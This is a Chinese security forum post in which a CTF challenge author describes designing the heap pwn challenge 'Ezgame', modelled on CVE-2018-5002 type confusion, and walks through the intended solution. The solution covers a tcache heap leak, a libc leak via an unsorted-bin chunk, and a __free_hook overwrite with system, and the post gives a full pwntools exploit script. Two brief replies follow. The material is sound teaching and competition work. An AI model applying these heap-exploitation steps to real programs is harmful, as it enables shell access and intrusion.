首页
社区
课程
招聘
[原创]设计思路
2019-3-15 10:35 5199

[原创]设计思路

2019-3-15 10:35
5199

设计思路

1. 设计灵感来自于CVE-2018-5002,类型混淆。漏洞样本是通过vb脚本自定义两个相似对象,通过漏洞函数使两个对象的类型发生了混淆,实现了任意地址读写。题目提前定义了两个对象类型,并设计一个漏洞函数(漏洞为数组越界)。

Struct a{

Name;

}

Struct b{

A;

Name;

}

通过漏洞函数导致b对象进入了a对象的数组。导致对a对象name的写影响了实际为b对象的结构指针A。导致了任意地址写。

2. 程序开启了全保护,有了任意地址写后需要掌握写的地址。题目第二部分为信息泄露部分。在对a对象进行写入后会有一次输出内存的机会用来泄露堆里的数据。流程为

泄露堆地址->任意地址写chunk size->泄露libc地址

解题思路

第一步通过tchche指针得到堆的地址。由于free堆块采用的rand的方式从数组里随机释放。得到的heap地址需要/0x1000*0x1000+0x660(libc-2.27)

第二步,需要创造出能分配进入unsorted_bin链表的堆块。由于tcache的限制,需要释放大小大于0x408的堆块才能进入unsorted_bin,或者多次释放small chunk填充tcache链表。题目malloc大小固定为0x20.需要通过任意地址写+堆地址写入某一堆块size,配合save函数中的free,free的堆块地址可以由类型混淆控制。我选择写入的大小为0x30*22=0x420.得到libc中main_arena地址。之前可以尝试摸索发现程序存在tcache机制可以判断libc版本为2.26或2.27(故libc未给出,不然就太简单了。。。).分别尝试可得到libc地址。

第三步,任意地址写写入free_hook为system完成利用

Exp:

from pwn import *

p=process('./Ezgame')

e=ELF('./libc-2.27.so')

context(log_level='debug')

def save():

p.writeline('5')

p.readuntil('>>')

def edit_lucky(a,b):

p.writeline('4')

p.readuntil('which')

p.writeline('0')

p.readuntil('What is your new name?')

p.write(a)

p.readuntil('name')

p.write(b)

p.readuntil('>>')

def edit_single(a,b):

p.writeline('3')

p.readuntil('which')

p.writeline(a)

p.readuntil('name')

p.write(b)

p.readuntil('>>')

def create_lucky(a,b):

p.writeline('2')

p.readuntil('Name')

p.writeline(a)

p.readuntil('name')

p.write(b)

p.readuntil('>>')

def create_single(a):

p.writeline('1')

p.readuntil('Name:')

p.write(a)

p.readuntil('>>')

p.readuntil('>>')

create_lucky('123','123')

for i in range(0,0x5):

create_single('123')

for i in range(0,0x5):

save()

create_single('1')

p.writeline('3')

p.writeline('0')

p.readuntil('name')

p.write('1')

p.readuntil('new name: 1')

heap=u64((chr(0)+p.readuntil('1')[:-1]).ljust(8,chr(0)))

heap_addr=heap/0x1000*0x1000+0x660

success(hex(heap_addr))

for i in range(0,0x4f):

create_single('/bin/sh'+chr(0))

save()

edit_single('80',p64(heap_addr+8))

edit_lucky('123',p64(0x421))

edit_single('80',p64(heap_addr+0x10))

gdb.attach(p)

save()

p.writeline('3')

p.writeline('79')

p.readuntil('name')

p.write('a'*8)

p.readuntil('a'*8)

libc=u64(p.readuntil('1')[:-1].ljust(8,chr(0)))-0x1b7ca0

success(hex(libc))

edit_single('79',p64(libc+e.symbols['__free_hook']))

edit_lucky('123',p64(libc+e.symbols['system']))

edit_single('79',p64(heap_addr+0x40))

p.interactive()


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞1
打赏
分享
最新回复 (2)
雪    币: 19097
活跃值: (1115)
能力值: ( LV15,RANK:936 )
在线值:
发帖
回帖
粉丝
oooAooo 9 2019-3-25 15:10
2
0
。。。使用libc-2.23版本,在本地泄露libc地址,也拿到了shell,连接服务器无法泄露堆地址,猜到可能是tcache,就转为使用stderr来泄露libc
雪    币: 3671
活跃值: (601)
能力值: ( LV15,RANK:379 )
在线值:
发帖
回帖
粉丝
Ezrak1e 4 2019-3-25 18:00
3
0
..出太急,没注意int越界。。
游客
登录 | 注册 方可回帖
返回